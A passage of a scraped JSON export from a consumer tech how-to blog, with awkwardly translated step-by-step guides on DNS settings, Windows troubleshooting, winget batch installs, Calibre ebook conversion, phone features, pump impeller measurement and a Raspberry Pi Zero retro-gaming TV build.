mode.\nncG1vNJzZmismaXArq3KnmWcp51ktq%2ByzqukmqyZpLturcGorK1lpJ2%2FprGMp5ywZaqkuqO1xGarsqiVqHqquoyipZ%2Bdk6m2sLqMqaybn12ivKO1y55kpqeUmg%3D%3D\n","link":"/post/information-about-three-new-zombie-types-in-infection-pubg-mobile-mode/","section":"post","tags":null,"title":"Information about three new Zombie types in Infection PUBG Mobile mode"},{"body":"DNS is an acronym for Domain Name System, which is a name resolution system, only one system that allows setting up correspondence between IP address and domain name. This means that DNS will translate a domain name into an IP address for identification on the network\nDNS is now very much applied especially in speeding up Internet access networks or accessing blocked websites like Facebook. There are many quality DNS for users to choose to use such as DNS Singapore, DNS VNPT, DNS OpenDNS, . including Google DNS. Google DNS will ensure faster and more stable network access speed. With the case of errors related to Google services, or some related services, the change to Google DNS also partially overcome.\nThe following article of Network Administrator will guide you how to change DNS Google 8.8.8.8 8.8.4.4.\nThe best, fastest DNS list of Google, VNPT, FPT, Viettel, Singapore How to change DNS to access Facebook faster Change DNS and how to use DNS to be able to surf faster Step 1:\nWe right-click the WiFi icon in the Taskbar or the wired connection icon, and then select Open Network and Sharing Center .\n  Step 2:\nThen click on the network name that the computer is connected to in the Connections section.\n  Step 3:\nNew interface appears, click on Properties .\n  Next, the user clicks Internet protocol Version 4 (TCP / IPv4) .\n  Step 4:\nIn the Internet protocol interface Version 4 (TCP / IPv4) Properties, check to Use the following DNS server address , then enter the corresponding parameters for Google DNS as shown below.\n8.8.8.8 8.8.4.4 Finally click OK to complete. The network will automatically reload according to the Google DNS entered.\n  So, you already know how to change Google DNS on your computer, step by step, to speed up network access on your computer. We can apply the above actions to change to another DNS.\nHope this article is useful to you!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWabmJa7qLXNoGSgp5%2BcuaZ5w6eqZnBobYVuhJdtaw%3D%3D\n","link":"/post/instructions-for-changing-google-dns-8-8-8-8-8-8-4-4/","section":"post","tags":null,"title":"Instructions for changing Google DNS 8.8.8.8 8.8.4.4"},{"body":"Those who often play games on the phone can not help but know My Talking Tom game, the repetitive cat game is loved by millions of people around the world. Launched in 2010 and after a period of development, My Talking Tom has become one of the most popular games on the phone.\nTo continue the success of My Talking Tom part 1, Outfit7 has continued to release My Talking Tom 2 game on the phone, in addition to raising the cat in the game, in this version, the player also has more Interesting mini games, choosing food, costumes, outdoor . for your cat.\nThe game currently has two versions for iOS and Android , you can also play My Talking Tom 2 on your phone with the help of Android emulator. Details how to install My Talking Tom 2 on the computer you can see in the article below.\nDownload My Talking Tom 2 for iOS Download My Talking Tom 2 for Android Instructions to download and install My Talking Tom 2 on the computer Step 1: First download and install the NoxPlayer emulator on your computer if you do not have this Android emulator, if you do not know how to install NoxPlayer, please refer to the article How to install the Nox Player emulator on your computer count.\nThen start up NoxPlayer, select Play Store.\n  Step 2: Then click on the Google Play app search box.\n  Type in the search keyword My Talking Tom 2, then click on the Game icon below.\n  Click Install to install My Talking Tom 2 on the computer.\n  Click Accept to allow application access.\n  Wait for the game to load, click Open to open My Talking Tom 2 and play.\n  The interface of the game will be narrowed according to the specific window of My Talking Tom game.\n  Maybe you already know, there are many versions of My Talking Tom made by fans of the game in Taking Tom style, so if you want to experience the real version of Talking Talking Tom, please go to Google Play to download and experience . Currently the game is at the top of the ranking on Google Play Store, so if you want to experience please go to the Trending App of the Google Play app store to download and experience My Talking Tom 2.\nAnother unique game, My Talking Tom, is also hot, the Unnie Doll, with this game you can create chibi characters and will use the built-in tools that the Unnie Doll equips. player, turn it into his own character style. See how to download and install the Unnie Doll on your computer in the article How to install and play the Unnie Doll on your computer .\nSee more:\nInstructions for installing the Fire VNG game on your computer How to play Android games on computer with AMIDuOS Emulate Android on PC with LeapDroid ncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWahnqjBorjLoqWgZZ2uerWty6Sgp59dqbyueZFmpqdlpJ2ybq%2FOpqeurJWn\n","link":"/post/instructions-for-installing-my-talking-tom-2-on-the-computer/","section":"post","tags":null,"title":"Instructions for installing My Talking Tom 2 on the computer"},{"body":"PlayOnLinux provides a \"point and click\" interface ( point and click ) to automatically install and edit software on Linux.It is like a package manager but for Windows games and other applications on Linux.\n  We have mentioned using Wine to run Windows software on Ubuntu and other Linux distributions before.PlayOnLinux automates the complicated installation process when using Wind for the applications it supports. The tool provides a list of applications that users can install and automate every installation process as much as possible.\nSetting PlayOnLinux is in Ubuntu's software database, so users can download it from the Ubuntu Software Center or install it using the following command:\nsudo apt-get install playonlinux\nIf you want the latest version, download it from the PlayOnLinux website. Find the .deb file for Ubuntu and double-click it to start installing.\n  If you want to update the latest version regularly, run 4 commands on the image to add the PlayOnLinux software database to the system. New versions of PlayOnLinux will appear in the Ubuntu update manager.\n  PlayOnLinux uses Wine as a support program. Installing PlayOnLinux is also synonymous with installing Wine and some other required software on the system.\n  Begin After completing the installation process, we will see PlayOnLinux in the application menu.\n  PlayOnLinux launches with a wizard to automatically download any required software, including Microsoft core fonts .\n  Install apps When finished, click the Install button on the toolbar or select Install from the File menu.\n  Use the settings window to browse for available applications or search for applications using Search . Although there are many great alternative software for Windows software, games on Linux are still a weakness when compared to Windows.\n  The game is not the only software directory provided. Users will also find Internet 6 and 7, Apple iTunes and Safari, Adobe Photoshop CS4 and Microsoft Office 2000, 2003 and 2007 in the list.\n  Click the Install button after selecting an application and an installation window appears.\n  Depending on the application you choose, PlayOnLinux can automatically download the program installer, suggest that you download and browse for the installation file or suggest the program CD or DVD to the computer drive.\n  Launch and manage applications After the Windows application is installed, you will see them in the main PlayOnLinux window. You can launch them from the PlayOnLinux window or from the shortcut icons ( shortcuts ) on your desktop .\n  Use the Remove or Shortcut buttons on the toolbar to remove applications or create new shortcuts.\nWine versions Some applications only work on a separate Wine version. PlayOnLinux automatically downloads and installs the appropriate version of Wine for each application.\n  View installed Wine versions with the Wine Versions Manager option under the tools menu.\n  Other features Click the Configure button to easily perform common configuration operations.\n  PlayOnLinux also has a few plugins . Capture plugin for users to record video on the display, PlayOnLinux Vault helps to save and restore installed applications and Wine Look plugin to change the Windows application ( theme ) background.\n  Using PlayOnLinux is much more convenient than Wine because the software supports the maximum installation process for users. However, when the desired application does not appear in PlayOnLinux , users still have to install Wine on their own .\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWahnqjBorjLoqWgZaeeu6W71qxkrKeWqcSivsRmpqdlnJ67tsSMsKCtoF2luaLFzqejoqalrQ%3D%3D\n","link":"/post/instructions-for-installing-windows-software-on-linux-with-playonlinux/","section":"post","tags":null,"title":"Instructions for installing Windows software on Linux with PlayOnLinux"},{"body":"TiWorker.exe (Windows Module Installer Worker) is the process related to the Windows Update Services service. This is an important process on the Windows Update service and programs that start with the computer. Usually TiWorker.exe runs in the background while the system checks for new updates and releases system resources.\nHowever, the point worth mentioning here is that TiWorker.exe is the cause of unusually high CPU error on Windows 8.x and Windows 10 systems. So how to fix this error, invite you to refer to the article below Here of Network Administration.\n  1. Scan the virus on your computer Viruses or malicious programs can cause unusually high CPU errors caused by TiWorker.exe. So to fix the error, you can use antivirus programs to find and remove viruses and other malicious programs on your computer and to fix errors.\nSome effective anti-virus programs can be found here.\n2. Install all available Update versions Make sure your computer has the available version of Windows Update installed. To do this thing:\n- On Windows 8, 8.1: 1. Press the Windows + R key combination to open the Run command window.\n2. On the Run command window, enter the following command and press Enter to open Windows Update:\nwuapp.exe\n  3. On the Windows Update window, click Check for updates , then install all the updates you find.\n- On Windows 10: 1. Click the Start button and click Settings to open the Settings window.\n  2. On the Settings window, click Update \u0026amp; security.\n3. Next, click on the Check for updates button and then install all the updates you find.\n3. Run System Maintenance \u0026amp; Windows Update troubleshooters Run the System Maintenance troubleshooter to automatically fix system errors.\n1. Right-click the Start button in the bottom left corner of the screen, click Control Panel.\n  \n2. On the Control Panel window, set the View by item to Small icons.\n  \n3. Next, find and click Troubleshooting.\n  \n4. Click View all.\n  \n5. Double-click System Maintenance.\n  \n6. Click Next and follow the instructions on the screen to run the System Maintenance troubleshooter.\n  7. After System Maintenance completes the process, select Windows Update troubleshooter from the list.\n  8. Click Next and follow the on-screen instructions to fix the Windows Update error.\n  4. Delete SoftwareDistribution folder The Windows Update Store folder (also known as SoftwareDistribution folder) is where Windows stores downloaded updates. If the directory fails, it will cause problems during Windows update. Therefore, to fix the error, it is best to delete all downloaded update folders and force Windows to create a new SoftwareDistribution blank folder.\nTo do this thing:\n1. Press the Windows + R key combination to open the Run command window.\n2. On the Run command window, enter the following command and press Enter to open the Services window:\nservices.msc\n  3. On the Windows Service window, find the service called Windows Update , right-click it and select Stop.\n  \n4. Next navigate to folder C: Windows.\n5. Find and delete the SoftwareDistribution folder or can rename SoftwareDistribution folder to SoftwareDistributionOLD.\n  \nNote:\nAfter booting up, next time Windows Update will check for available updates and automatically create a new SoftwareDistribution folder to store updates.\n6. Restart your computer.\n7. If an unusually high CPU error is caused by TiWorker.exe, you can apply other solutions below.\n5. Reduce TiWorker process priority 1. Press Ctrl + Shift + Esc or right-click the Start button in the bottom left corner of the screen, select Task Manager.\nOn the Task Manager window, click More details.\n  \n2. Next, click the Details tab.\n  3. Right-click TiWorker.exe, select Set priority =\u0026gt; Low.\n  \nNote:\nYou can also select the End process tree option to stop the TiWorker.exe process.\n6. Fix system file errors and faulty services (SFC) Run the System File Checker tool (SFC) to fix corrupted files and services (services) on Windows computers. To do this thing:\n1. Open the Command Prompt window under Admin. To do this, right-click on the Start button in the bottom left corner of the screen and select Command Prompt (Admin) .\n  2. On the Command Prompt window, enter the command below and press Enter:\nSFC / SCANNOW\n  3. Wait until the SFC tool checks and corrects files and services on the system.\n4. After completing the process, restart your computer and check if the abnormally high CPU error is caused by TiWorker.exe.\n7. Fix Windows error with DISM tool (System Update Readiness Tool) 1. Right-click the Start button in the bottom left corner of the screen, select Command Prompt (Admin).\n2. On the Command Prompt window, enter the following command and press Enter:\nDism.exe / Online / Cleanup-Image / Restorehealth\n  3. Wait for DISM to fix the corrupted files.\n  4. After the process is complete, you will receive a notification to complete the process.\n  5. Finally close the Command Prompt window and restart your computer.\nRefer to some of the following articles: Summary of some ways to fix Windows 10 crash, BSOD error and restart error Create virtual machines with Hyper-V on Windows 8 and Windows 10 This is how to reset network settings on Windows 10 with just one click Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kwq%2FB0q6YpaSpYrWqs8dmmqmtXZq%2Fs7vRZpqoqqKasLW1zqdkna2VYsGwedOirqiqm5q%2FpsTEZqanZaeeu6W71qxkamhdbX5uhA%3D%3D\n","link":"/post/unusually-high-cpu-error-correction-due-to-tiworker-exe-on-windows-10-8-1-8/","section":"post","tags":null,"title":"Unusually high CPU error correction due to TiWorker.exe on Windows 10 / 8.1 / 8"},{"body":"Download Booster is one of the useful features on the Galaxy S8, S8 Plus duo. This feature will accelerate the download speed of files, especially when users download files such as exceeding 30MB. The mechanism of this feature is to increase data download speed by combining LTE connection and WiFi connection. However, by default this feature has been turned off and you can enable Download Booster on Galaxy S8 / S8 Plus according to the article below.\nStep 1: At the interface on the device, users click on Settings and then select Next Connections .\n  Step 2: Next, in the settings list interface, scroll down and click on the More Connections Settings section .\n  Step 3: Go to the new interface, by default Download Booster feature is in Off mode - Off. You need to enable this feature, by swiping the horizontal bar to the right to switch to On mode .\n  So you have activated the Download Booster feature on Galaxy S8, S8 Plus devices, increasing the speed of downloading files on the device. However, users should note, Download Booster works based on a combination of WiFi and mobile data, so you can use a significant amount of data. In case you are using a 3G or 4G package, it is recommended to turn on the data limit limit mode, to limit the deduction status to the original account.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpmTqba3rdOeZJ2np6O5sK3DZpmop6OpsrN5zqdkoJmclsW6edJxZKxwXaW5tr8%3D\n","link":"/post/how-to-activate-download-booster-on-galaxy-s8-s8-plus/","section":"post","tags":null,"title":"How to activate Download Booster on Galaxy S8, S8 Plus"},{"body":" Do you want to convert your Word Document to an Epub or Mobi file? You can create with a table of contents and chapter breaks for easy eReader navigation and readability. Keep reading for detailed instructions on converting your Word Doc...\nMethod 1of 2:\nShort Way  Set the document title and chapter titles in your Word document to \"Header 1\" and save as *.html.\n  Remove the spacing between paragraphs in Calibre by clicking on Calibre \u0026gt; Convert books \u0026gt; Look \u0026gt; Feel \u0026gt; Remove spacing between paragraphs.\n  Convert the table of contents by going from: Calibre \u0026gt; Convert books \u0026gt; Table of Contents \u0026gt; Level 1 TOC (XPath expression)://h:h1.\n Method 2of 2:\nLong Way Formatting your document  Use LibreOffice, OpenOffice, or Word, it's all the same. If you open a new \"Word\" document and type out some text, then what you see is the default unformatted style. It might look like the picture on the side. Notice that the document has a main title at the top of the first page and what we might call a chapter title (in all caps).\n  Highlight your main title, select \"Format \u0026gt; Styles and Formatting\" or the equivalent option for changing a \"style\" in your client, then select from the list of style options: \"Heading 1\" as shown here:\n  Repeat this step for every chapter title and save your document as *.html with the \"Save As\" option. The trickiest part of formatting your document is finding the \"Heading 1\" style option for your particular word processor. After you've saved as HTML, upload it into Calibre.\n Converting with Calibre  Download and install Calibre. Open it, and you should see something like this:\n  Begin with the big red \"Add books\" button in the upper left and select the HTML version of the document you just saved.\n  Hit the \"Edit metadata\" button and enter the title as it should be. This will be the title you'll see listed when you load it onto your eReader.\n  Hit \"OK\" to exit back to the main screen and hit \"Convert books\"The \"Convert books\" window should pop up. In the upper right corner of this screen find the \"Output format\" menu, select MOBI or EPUB. You can't do both at once, but you can do one then come back and do the other. The left side menu has several items, but you'll only need \"Look and Feel\" and \"Table of Contents.\"   select \"Remove spacing between paragraphs in \"Look and Feel\"\".\n  select the wizard button to the right of \"Level 1 TOC (XPath expression):\"in \"Table of Contents\".\n  Open the drop down menu labeled \"Match HTML tags with tag name:\" in the new window that pops up.\n  Select \"h1\" from that list.then hit \"OK.\" You'll now see \"//h:h1\" listed in the Level 1 TOC field.\n  Hit \"OK\" and Calibre will immediately begin converting. Conversion should take a few seconds. If you converted to MOBI the first time, then hit the \"Convert books\" button again and select EPUB to convert to that format. Then you'll want to hit the big \"Save to disk\" button. What you're saving is actually a directory (author's name) with a set of files (all their works.) Because off this, you'll want to save all your Calibre conversions into a super-directory called \"authors\" or some such. If you enlarge the picture above you'll see the location is:Documents \u0026gt; My Documents \u0026gt; My eBooks \u0026gt; Authors\nThis is where you want to be, with the \"Folder\" field at the bottom of the window blank when you press the \"Select Directory\" button. What happens is that Calibre will search this directory for the author's name and either save to that author's directory if it's already been created, or create it if it's not yet there.\n   Micah Soto Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpufo8OmvtNmmGavn6exbrDOnKymnZ6perW7jJ6nrpo%3D\n","link":"/post/how-to-convert-a-word-document-to-epub/","section":"post","tags":null,"title":"How to Convert a Word Document to Epub"},{"body":"Winstall is a web application that allows you to create scripts to simplify the process of installing multiple applications using winget on Windows 10.\nWhat is Winget? What is Winstall? Microsoft has built Windows Package Manager (winget), which allows you to explore, install, upgrade, delete, and set up one or more applications on Windows 10 with the command line.\nAlthough using winget to install an application is easy, when you need to download and install many applications, the command can be very complicated and this is where winstall becomes useful.\nWinstall is a web application started by Mehedi Hassan on GitHub, connected to the Microsoft app store and allows you to visually select the applications you want to install. Winstall automatically creates a script, which you can then use to batch install applications on Windows 10 using winget.\nIn this tutorial, you'll learn the steps to using winstall to create a script to install multiple applications using winget on Windows 10.\nHow to install multiple applications using winstall and winget To install multiple applications using winstall and winget, follow these steps:\n1. Open winstall on the web.\nhttps://winstall.app/ 2. Click the View All button .\n3. Select the applications you want to install by double clicking on them.\nQuick tip : You can identify the selected item with a purple border. You can click on the application to deselect it or click the Clear Selections button .\nSelect the application you want to install 4. Click the Generate script button .\nClick the Generate script button 5. Click the Copy to clipboard button .\nQuick note : The default output is to use the winget with the Command Prompt and you must turn on the Show PowerShell script switch to modify the script and use it on PowerShell. Additionally, you can even download a .bat file to automate the installation process on the device.\n6. Open Start.\n7. Open Command Prompt with admin rights.\n8. Right-click and paste ( Ctrl+ V) the winget script to install the application and click Enter.\nFor example, this script installs Atom, VLC and 1Password:\nwinget install --id=AgileBits.1Password -e \u0026amp;\u0026amp; winget install --id=twinkstar.browser -e \u0026amp;\u0026amp; winget install --id=VideoLAN.VLC -e Right click and paste winget script to install the application When you complete the steps, the application will automatically download and install on your Windows 10 device.\nYou can use Windows Package Manager without admin rights, but you will be prompted for this. If you still choose not to use admin rights, the installation will fail.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqMGiuMtmpK6kpJ69rbGMmqeppJmYrrW1zqeqZq2jnruoedaipaCdpGKur7CMsKCnq6SWua15zqdksKGemby4v4xqZw%3D%3D\n","link":"/post/how-to-install-multiple-applications-using-winget-and-winstall-on-windows-10/","section":"post","tags":null,"title":"How to install multiple applications using winget and winstall on Windows 10"},{"body":"Securing the information on the phone is something that many people care about, especially the content of the message. And if you want to increase security for your iPhone / iPad, you can install ChatLock tweak. This tweak will lock messages on iPhone, including Message messages, Twitter messages, WhatsApp messages, and so on. Users can select message lock types including Face ID, Touch ID and character password, depending on their device. What content do you support. And to view the content of the message, the user must open the correct password that was set before. The following article will guide you how to install ChatLock tweaks on jailbroken iOS devices.\nHow to increase security for iMessage iPhone / iPad messages 5 message security tips on iPhone Security \"security\" for iPhone. How many methods do you know? How to create unlocked iPhone style drawings Instructions for creating password messages on iPhone Step 1:\nUsers download ChatLock tweaks according to the link below. Refine the download from BigBoss source with iOS 10 device or higher. Or you can go directly to the link below.\nhttp://apt.thebigboss.org/onepackage.php?bundleid=com.idevicelover.chatlock  Step 2:\nAfter installation is complete, we click on Settings and then choose to tweak ChatLock to set up the application for messaging.\nAt this interface, users will see fine-tuning support to set security for messaging application, Twitter and WhatsApp with contents including:\nOption to enable or disable camera capture to use for Face ID. Order configuration for iMessage SMS:\nTurn on or turn off Face ID or Touch ID authentication. Backup password in case of unlock failure. The remaining settings for messages Twitter and WhatsApp do the same.\n    Step 3:\nOpen the message application and then swipe the message to lock from right to left , click Lock . Next use methods to lock messages like Face ID. To unlock the message we click on Unlock.\n    With other messaging apps that tweak support we do the same.\n   Step 4:\nIn case the user scans an incorrect password, an error message will be sent. If using Face ID does not scan your face, click Enter Password to enter the password.\n   By creating a message password for your iPhone / iPad device, it will restrict other people from viewing your message content. We have many methods to secure messages on iPhone / iPad.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqSfmLhuucSsqpqflah6sLqMoqehp56a\n","link":"/post/how-to-lock-messages-on-iphone/","section":"post","tags":null,"title":"How to lock messages on iPhone"},{"body":" A pump impeller resembles a propeller and is the component that rotates quickly to drive fluid through the pump. They're commonly used in centrifugal pumps to move water for things like farming and city water plants, as well as many other...\nFinding the Diameter of an Even-Bladed Impeller  Make sure the pump is turned off before you measure the impeller. If the impeller is still attached to the pump, it can cause serious injury if it starts to turn while you're taking your measurements. Look for the power switch and make sure that the pump is off. Unplug the pump to be extra sure that the power is shut off.[1] If you're measuring an impeller that isn't attached to a pump, lay it down on a flat surface to make it measure to measure.  Check to see if there's an information plate on the outside of the pump. Some pump manufacturers will attach a metal plate to the casing of the pump that lists information and measurements. Look for the square plate and check to see if the diameter of the impeller is listed on it.[2] For instance, you may see a measurement that says '7' to indicate that the diameter of the impeller is 7 inches (18\u0026nbsp;cm). You could also look up the make and model of your pump to see if the impeller diameter is listed. However, impellers are sometimes trimmed down to affect the way the pump operates, so the measurements listed online may not be accurate.  Measure from the tip of 1 blade to the tip of the blade across from it. Use a tape measure and hold the end of it against the tip of 1 of the impeller's blades. Stretch the tape measure all the way across the center of the impeller and line it up with the very end of the tip of the blade directly across from the first blade to find the diameter of the impeller.[3] For instance, if the distance between the tip of 1 blade and the tip of the blade across from it is 6 inches (15\u0026nbsp;cm), then that's the diameter of the impeller. Tip: For large impellers, have a friend hold the tape measure against the tip of the blade to keep it in place.\n Calculating the Diameter of an Odd-Bladed Impeller  Turn off the pump if the impeller is still attached. Pump impellers are designed to be powerful and rotate at a high speed, so if the impeller you're measuring is already on the pump, double-check to make sure the power is shut off. Unplug the pump if you can to be extra cautious.[4] Make sure everyone around you knows you're measuring the impeller so they don't try to turn on the pump. Lay the impeller down on a flat surface if it's not attached to the pump.  Look for an information plate that lists the diameter of the impeller. The pump manufacturer may have included the diameter of the impeller on an information plate printed on the outside casing of the pump itself. Before you start to measure your impeller, take a look on the pump to see if the information is already listed there for you.[5] Look for a field on the information plate that says something like 'Diameter' or 'Dia.' and read the number in the field to find the diameter. For example, it may say something like 6.5 to indicate a diameter of 6.5 inches (17\u0026nbsp;cm). If there isn't an information plate, no worries! You can measure the odd-numbered blades yourself.  Stretch a tape measure from the shaft to the tip of 1 of the blades. Hold the end of a tape measure against the tip of 1 of the impeller blades. Since the impeller has an odd number of blades, there isn't one directly across from it for you to measure with. Instead, stretch the tape measure to the center of the impeller, or the outer edge of the shaft if the impeller is attached to the pump.[6] The shaft is the rod in the center of the impeller that attaches it to the pump.  Multiply the distance by 2 to find the length of 2 blades. Take the measurement of 1 blade and double it to make up for the fact that you're unable to measure a blade directly across from it. Write down your measurements to use for your calculations.[7] For instance, if the measurement of 1 blade is 2 inches (5.1\u0026nbsp;cm), then you'd double it to get 4 inches (10\u0026nbsp;cm) as the length of 2 blades.   Add the size of the shaft to your measurements to find the diameter. If the impeller is attached to the pump, you need to account for the size of the shaft in order to have an accurate measurement. Use your tape measure to measure the distance from the 1 edge of the shaft to the edge directly across from it. Add this measurement to your calculations to find the total diameter of your impeller.[8] So for example, if you have a blade measurement of 4 inches (10\u0026nbsp;cm), and the shaft measures .5 inches (1.3\u0026nbsp;cm), then the total diameter of the impeller is 4.5 inches (11\u0026nbsp;cm). Note: If the impeller isn't attached to a pump, measure from the tip of 1 blade to the center of the pump and double it to find the diameter.\n  Kareem Winters Update 02 June 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqWVlsC2vsRmp66loGK2rrzEpaOeql2ZtqK5xK2cqw%3D%3D\n","link":"/post/how-to-measure-pump-impeller-diameter/","section":"post","tags":null,"title":"How to Measure Pump Impeller Diameter"},{"body":"The Raspberry Pi Zero, a compact, cheap, low-cost (minus $ 5) mini computer, has proven to be much more flexible than its 'predecessors'.\nToday's article will perform a regular Raspberry Pi project - transform an old TV into a retro game console and step by step, giving you all you need to build a Raspberry Pi Zero gaming system. own, in the simplest way possible.\nHow to turn the TV into a Retro gaming system with the Raspberry Pi Zero Build a simple Retro gaming machine What you need The dangers of DIY with CRT TVs  RetroPie and Raspberry Pi Zero Setup process Step 1: Open the TV Step 2: Determine your video connection Step 3: Attach the USB Hub and the Raspberry Pi Zero Step 4: Add power Step 5: Add sound Step 6: Replace the back cover of the TV Step 7: Boot with RetroPie  Build a simple Retro gaming machine   You may have seen online projects like this elsewhere. The goal is simple: Make a Raspberry Pi fit for a TV, and enjoy retro gaming. However, there is one problem: Almost all of these projects are quite complicated.\nThis tutorial will fix that by helping you:\nChoose TV Open it safely Find space for your Raspberry Pi Zero Identify the connections you need to make Add power and sound Play retro games What you need Before you start, you will need to prepare the following:\n1 old TV Raspberry Pi Zero Compact USB hub HDMI-to-VGA adapter for audio output or USB sound card 5mm stereo-audio-to-RCA-Y cable Game controller with USB port Depending on the complexity of installing Pi Zero on the TV you choose, you may also need:\nDremel or similar portable cutting machine Glue Guns The decision to use an old TV will be very difficult. But whatever you do, the TV you use must be an LCD TV - not only because it's easy to work with, but also for safety reasons.\nThe dangers of DIY with CRT TVs If you choose a CRT TV, note that splitting the back will expose you to dangerous high voltages, even if the TV is turned off and unplugged.\nIn addition, destroying tubes may cause an explosion, large enough to puncture the wall in some cases.\nIf you have experience working with TV sets removed later and if you are extremely confident that you won't hurt yourself, then use a CRT TV. If not, you should use an LCD TV device. It can be a bit more expensive (costs about $ 25), but it's much safer.\nLCD screens often come with compartments making it easier to mount the Raspberry Pi Zero in practice. Take advantage of that!\nRetroPie and Raspberry Pi Zero Before you start, you should also download and flash the RetroPie image into the microSD Raspberry Pi Zero card.\nMake sure you are using the correct version of RetroPie. Download the build for the Raspberry Pi Zero instead of the Raspberry Pi 2 or 3! You will find it at retropie.org.uk/download.\nSetup process The setup process takes place as follows:\nStep 1: Open the TV Take optimal safety precautions when opening your TV. Make sure to disconnect the TV from all power sources.\nModern portable devices often have back doors that you can take advantage of. They help you not to cut your TV case with a portable cutter.\n  When you open the TV, you will usually find the screws you need to open, marked with an arrow or a circle. Loosen these screws to remove the back cover of the TV. If your TV has a battery, remember to remove it.\nWhen the back is removed, determine the space you will fit in the Raspberry Pi Zero. Consider the space for the adapters you will use and any cables that need to run outside the TV enclosure (for example, the Pi power cable or USB port).\nStep 2: Determine your video connection If you're lucky enough to have a portable TV with HDMI port, it's best to connect Pi Zero's HDMI adapter and cable loop around the HDMI port.\nAgain, keep in mind the space you need for this. Where you will install Pi will include space not only for the adapter, but also for the HDMI cable connector.\n  You can also use the option to permanently solder a pair of wires to Pi Zero's RCA video output, the rest of the wires are soldered to the RCA connector.\nStep 3: Attach the USB Hub and the Raspberry Pi Zero You will need a USB hub for the game controller and keyboard. With the limited size of the Raspberry Pi Zero, there is only room for a micro USB connector.\nAlthough the micro-USB-to-full-USB adapter is also included, this will still require you to add a USB hub to multiple devices. You can find a good USB hub quite easily on Amazon.\nYou should connect your hub to easily plug in the cable. This means cutting off some frames on the TV and sticking the hub into it, the ports are facing out.\nFor the Raspberry Pi Zero, you can install it with screw holes. If screws cannot be used, use brackets to attach Pi Zero to the chassis (or connect them to the structural support or glue them to the glue). Make sure the Raspberry Pi Zero is pasted close to the USB hub!\nStep 4: Add power Normally, you will not be able to use the TV's power source. Instead, use the power cable of the Raspberry Pi Zero, probably in parallel with the USB hub's power supply, ensuring that both devices have enough power to meet the demand.\nThen, the USB power cable can run through the TV chassis to the appropriate adapter, so you are powering the Pi device independently of the TV (like a standard game console).\nNote: If Pi is improperly turned off, the microSD card may be damaged. A strong enough power source is important.\nIf the TV you are using has a USB port, you can use it as a power source for your Raspberry Pi Zero. For good results in the long run, do not use this port because you will not have enough energy from the device.\nStep 5: Add sound Unlike other Raspberry Pi devices, Pi Zero has no analog sound, so to enjoy the background music from the games you are about to play, you need to use the HDMI audio output port. The most effective way to do this is to use an HDMI-to-VGA adapter with an audio socket.\nAnother option is DAC pHAT, which can be mounted on the Raspberry Pi Zero with GPIO header (included). This is not ideal if you lack space inside the TV, but it is a useful set of tools to have.\nUSB audio output port is also an option, especially if you lack space. Or you can completely do it yourself and use it to add audio ports to the Raspberry Pi Zero.\nAfter connecting and equipping Pi Zero, connect the audio cable to the audio port in the TV. Adapter may be needed.\nStep 6: Replace the back cover of the TV With everything connected, a power supply for Pi, USB hub and HDMI adapter has been added and the hardware is stuck in place, it's time to install the back cover on your TV. Be careful with this, because there may be some new hardware equipped, which distorts the exact location.\n  Screw the back cover of the TV again, and place it on the desk. Be sure to have a keyboard to use in case of problems when starting Raspberry Pi.\nStep 7: Boot with RetroPie Everything is ready, it's time to start your Raspberry Pi. If the RetroPie image is recorded correctly, the Raspberry Pi operating system will start and take you to the GameStation user interface.\nYou don't need a keyboard at this stage: The game controller you connect will be discovered and after a short time of configuration, you have everything you need to start playing retro games!\n  Just remember to turn off the Raspberry Pi safely when you're done, to maintain the integrity of the SD card data.\nBuilding a regular Retro gaming system can be too complicated. If you are looking for a simpler way, using the old LCD TV in this way is the best option. After that, you can change the build later, if needed.\nWhen you finish this work, you can continue with other retro game projects for the Raspberry Pi Zero.\nGood luck!\nSee more:\nHow to transform Raspberry Pi into SNES Classic Raspberry Pi Zero vs Model A and B, how are they different? 20 great applications from micro-Raspberry Pi computers ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqylp7tuwMeeZK2uXZ67tbuMmmSrnaSnvG6zwKagp59dqMa0wMSmZLChpJ16tbTEZqmaq6CXsrO%2B2GanomWqmr%2Bw\n","link":"/post/how-to-turn-the-tv-into-a-retro-gaming-system-with-the-raspberry-pi-zero/","section":"post","tags":null,"title":"How to turn the TV into a Retro gaming system with the Raspberry Pi Zero"},{"body":"Although Voice Recorder recorder is available on Windows, the recording features are still limited, only at basic recording. For many people with higher recording needs, look for recording applications such as Any Sound Recorder. The application can record voice from personal microphones, or from other audio devices. The saved audio format that Any Sound Recorder supports includes m4a, mp3, wav, more than the audio format supported by Voice Recorder. Audio recording on the app is customizable such as renaming or cutting audio. The following article will guide you how to use Any Sound Recorder recording on Windows 10.\nRecording software on the computer How to record using Audacity on a computer How to use Screen Recorder Plus to record and record videos on Windows 10 The best recording app for Android Recording instructions on Any Sound Recorder Step 1:\nUsers click on the link below to install the Any Sound Recorder application on Windows 10.\nDownload the Any Sound Recorder application   Step 2:\nAfter installation is complete, we start the application. At the Any Sound Recorder interface, users need to reset the recording mode. At Select recording source you select the source to record from:\nSound coming from your device: Record audio from your device. Microphone: Record audio from a microphone.   \nPlay recorded sound meanwhile: if you choose a microphone source, choose Speakers. Audio output file format: select the save format for audio recording. Volume: customize audio volume level. Once set, click the Ready button to proceed with the recording.\n  Step 3:\nThen we need to agree to the application to use the microphone on the device , press OK.\n  The audio recording process takes place immediately afterwards. Audio recording time displayed on the screen. To stop recording, click on the Stop icon .\n  Step 4:\nUsers are immediately transferred to the Audio History interface to review all recorded audio tracks. Sound clips are recorded in detail about the recording date, recording time. To continue recording, click on Start Record.\n  Step 5:\nIn this interface we listen to the audio file again to adjust it if desired. Below are the tools used to edit audio files.\n  If you want to cut the sound , click on the Trim tool, then select the audio track you want, by moving the 2 ends of the circle, then click Save below to save it. We have 2 options: save under copy (Save a copy) or overwrite the original file.\nIf saved as a copy, 